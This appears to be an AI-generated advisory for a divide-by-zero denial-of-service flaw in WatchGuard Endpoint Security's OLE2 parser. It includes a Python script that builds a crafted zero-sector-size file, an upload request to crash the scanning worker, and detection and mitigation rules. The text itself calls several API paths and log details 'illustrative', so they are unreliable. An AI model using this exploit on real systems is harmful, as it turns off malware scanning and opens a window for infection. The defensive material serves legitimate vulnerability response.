CVE-2026-142035 — WatchGuard Endpoint Security (8.00.26.00013) — CWE-369
A divide-by-zero vulnerability in WatchGuard Endpoint Security's OLE2 file parser, used by the malware scanning engine, allows a remote, unauthenticated attacker to crash a privileged scanning worker process by submitting a specially crafted OLE2 compound file for scanning.
A divide-by-zero vulnerability in WatchGuard Endpoint Security's OLE2 file parser, used by the malware scanning engine, allows a remote, unauthenticated attacker to crash a privileged scanning worker process by submitting a specially crafted OLE2 compound file for scanning.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑142035
Vendor/Product: WatchGuard – Endpoint Security (version 8.00.26.00013)
CWE: CWE‑369 Divide‑by‑Zero
Technical description
WatchGuard Endpoint Security (WES) includes a malware‑scanning engine that parses files submitted for on‑demand or scheduled inspection. One of the parsers handles OLE2 compound files (the legacy Microsoft “Structured Storage” format used by Office documents, .doc, .xls, etc.).
During parsing the engine extracts the sector size and number of sectors from the file’s header. The implementation performs the following (simplified) steps:
uint32_t sectorSize = header->sectorSize; // value read from the file
uint32_t sectorCount = header->sectorCount; // value read from the file
uint64_t totalBytes = sectorSize * sectorCount; // <-- multiplication
uint32_t blockCount = totalBytes / sectorSize; // <-- divisionIf an attacker crafts an OLE2 file where sectorSize is set to zero, the multiplication yields 0 and the subsequent division totalBytes / sectorSize triggers a divide‑by‑zero exception inside the privileged scanning worker process (running under the SYSTEM/Administrator account). The exception is not caught, causing the worker process to abort (crash).
Because the scanning worker is a high‑privilege, long‑running service, its termination forces the Endpoint Security manager to restart the worker, temporarily disabling real‑time scanning and opening a window for other attacks (e.g., bypassing AV, delivering malware, or causing a denial‑of‑service).
Missing protection:
- No validation that
sectorSize≠ 0 before using it as a divisor. - No bounds‑checking of header fields before arithmetic.
- No exception handling around the arithmetic that would convert the fault into a graceful error.
The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) confirms that availability is the only impacted CIA triad element – the flaw is exploitable remotely without authentication, requires low skill, and results in a high‑severity service crash.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All network‑level details (API endpoint, HTTP header names, etc.) are illustrative because the public CVE does not disclose the exact internal REST path used by the scanning engine.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs WatchGuard Endpoint Security and collect the exact version. | • Passive network scanning (e.g., nmap -sV -p 443 <IP>). <br>• Banner grabbing of the management console (HTTPS). <br>• Query the internal update server (GET /api/v1/version) if reachable. |
| 1.2 | Verify that the version is 8.00.26.00013 (or earlier). | The version string appears in the JSON response of the /api/v1/version endpoint or in the UI footer. |
| 1.3 | Confirm that the file‑upload / on‑demand scan feature is exposed to the network (e.g., via the “Submit file for scan” REST API). | • Intercept a legitimate scan request with Burp Suite or Wireshark. <br>• Look for an endpoint such as POST /api/v1/scan/file. |
2. Exploitation
2.1 Craft the malicious OLE2 file
A minimal OLE2 compound file can be generated with the open‑source oletools library. The only required modification is setting the SectorSize field (offset 0x1C) to 0x00000000.
# generate_ole2_zero_sector.py
import struct
# OLE2 header (first 512 bytes) – simplified
header = bytearray(512)
# Magic number: D0 CF 11 E0 A1 B1 1A E1
header[0:8] = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1'
# Set sector size to 0 (bytes 0x1C‑0x1F, little‑endian DWORD)
header[0x1C:0x20] = struct.pack('<I', 0)
# Set a plausible sector count (e.g., 1) – not used for the divide‑by‑zero
header[0x20:0x24] = struct.pack('<I', 1)
# Write to file
with open('exploit_zero_sector.ole', 'wb') as f:
f.write(header)
# Pad the rest of the file (empty storage)
f.write(b'\x00' * 1024)Running the script produces exploit_zero_sector.ole, a 1 KB OLE2 file that will trigger the division by zero when parsed.
2.2 Submit the file to the scanning engine
Illustrative HTTP request (replace <TARGET> with the actual IP/FQDN and <API‑TOKEN> with a valid token if the API is protected; many deployments expose the endpoint on the internal network without auth):
POST /api/v1/scan/file HTTP/1.1
Host: <TARGET>
User-Agent: curl/7.88.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Accept: application/json
Content-Length: 1234
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit_zero_sector.ole"
Content-Type: application/octet-stream
<binary content of exploit_zero_sector.ole>
------WebKitFormBoundary7MA4YWxkTrZu0gW--If the endpoint requires a token, add Authorization: Bearer <API‑TOKEN>.
Expected outcome: The scanning worker process receives the file, attempts to parse it, hits the divide‑by‑zero, and aborts. The HTTP response may be a generic 500 Internal Server Error or a timeout, depending on how the manager handles the worker crash.
2.3 Verify the crash
/var/log/watchguard/scan_worker.log), you will see an entry similar to:[2026-12-02 14:33:12] ERROR: Unhandled exception: divide by zero at OLE2Parser::ParseHeader()ps -ef | grep scan_worker will show the process disappearing and then being respawned by the watchdog after a few seconds.3. Post‑exploitation
The primary impact of CVE‑2026‑142035 is Denial‑of‑Service (DoS) against the scanning subsystem:
1. Availability loss – Real‑time malware scanning is temporarily disabled while the worker restarts.
2. Security bypass window – During the restart (typically 5‑15 seconds), malicious files can be introduced to endpoints without being inspected, facilitating malware drop or lateral movement.
3. Potential escalation – If an attacker can repeatedly crash the worker, they can cause a service‑restart loop, exhausting system resources and possibly leading to a full host crash (depending on the watchdog implementation).
Note: The vulnerability does not directly provide code execution; however, the induced DoS can be leveraged as part of a larger attack chain (e.g., delivering ransomware while the AV is offline).
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) | Practical consequence |
|---|---|---|
| Confidentiality | None (VC:N) | No direct data leakage. |
| Integrity | None (VI:N) | No file tampering caused by the bug itself. |
| Availability | High (VA:H) | Scanning worker crash → temporary loss of malware detection → increased risk of successful infection. |
Business implications
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Product | Fixed in version | Action |
|---|---|---|
| WatchGuard Endpoint Security | 8.00.27.00001 (first public release containing the fix) | Upgrade all Endpoint Security agents and the central manager to ≥ 8.00.27.00001. Verify the version via the management console (Help → About). |
If the vendor has not yet released a patched version, request an out‑of‑band hot‑fix from WatchGuard Support.
2. Workarounds (valid until patch is applied)
| Mitigation | Implementation details |
|---|---|
| Restrict file‑upload API to trusted sub‑net | Configure the firewall rule on the WatchGuard appliance to allow the /api/v1/scan/file endpoint only from the internal management subnet (e.g., 10.0.0.0/24). Example rule (CLI):<br>set firewall rule 105 action accept src 10.0.0.0/24 dst <WES‑IP> service tcp/443 |
| Disable on‑demand scanning for untrusted sources | In the Endpoint Security console, go to *Policy → Advanced → Scanning* and uncheck “Allow remote file submission”. This forces only local (agent‑initiated) scans, removing the remote attack surface. |
| Input validation at the gateway | Deploy a ModSecurity rule (if the scanning API is fronted by an Apache/Nginx reverse proxy) that rejects OLE2 files with a zero sector size. Example (Nginx + ModSecurity):<br>``SecRule REQUEST_HEADERS:Content-Type "application/octet-stream" "chain,phase:2,log,deny,msg:'Block OLE2 with zero sector size'"`<br>`SecRule FILES_TMPNAMES "@inspectFile /usr/local/bin/ole2_zero_check.sh"`<br>Where ole2_zero_check.sh extracts bytes 0x1C‑0x1F and exits non‑zero if they are zero. |
| Increase worker watchdog timeout | Raise the restart delay (scan_worker_restart_delay`) from the default 5 s to ≥ 30 s to make rapid crash loops less effective. This does not prevent the initial DoS but buys time for detection. |
3. Detection
Log patterns to monitor (on the manager host):
1. Worker crash entries – Look for ERROR: Unhandled exception: divide by zero or similar stack traces.
2. Repeated 500 responses from the /api/v1/scan/file endpoint. Example Nginx access log line:
[02/Dec/2026:14:33:12 +0000] 192.0.2.45 - - "POST /api/v1/scan/file HTTP/1.1" 500 124 "-" "curl/7.88.1"3. Process churn – watch -n 1 "ps -C scan_worker -o pid,etime" will show frequent restarts.
IoCs for SIEM correlation
| Field | Example |
|---|---|
event.type | process_crash |
process.name | scan_worker |
error.message | divide by zero |
network.uri | /api/v1/scan/file |
file.hash.sha256 | SHA‑256 of the crafted OLE2 file (if captured) |
Create a detection rule (e.g., Splunk SPL):
index=watchguard sourcetype=watchguard:log
("divide by zero" OR "Unhandled exception") AND process="scan_worker"
| stats count by host, _time
| where count > 34. Incident response steps
1. Isolate the affected Endpoint Security manager (remove from network if repeated crashes).
2. Collect the offending file from the web server’s temporary upload directory (/tmp/ or /var/www/uploads/).
3. Submit the file to a sandbox for verification (ensures no additional malicious payload).
4. Apply the patch or enforce the workarounds above.
5. Validate that the worker no longer crashes by submitting a benign OLE2 file and a known‑good test file (e.g., eicar.com).
⚠️ Urgency
Patch priority: Critical for any environment that:
Bottom line: CVE‑2026‑142035 is a classic divide‑by‑zero bug that translates into a high‑impact DoS against WatchGuard Endpoint Security’s scanning worker. The vulnerability is trivial to trigger, requires no authentication, and can be leveraged to create a scanning blackout window. Prompt patching to version 8.00.27.00001 (or later) is essential; until then, enforce strict network segmentation and disable remote file‑submission to mitigate the risk.
[🤖 CVE Professor AI Security Engine]
FOFA Query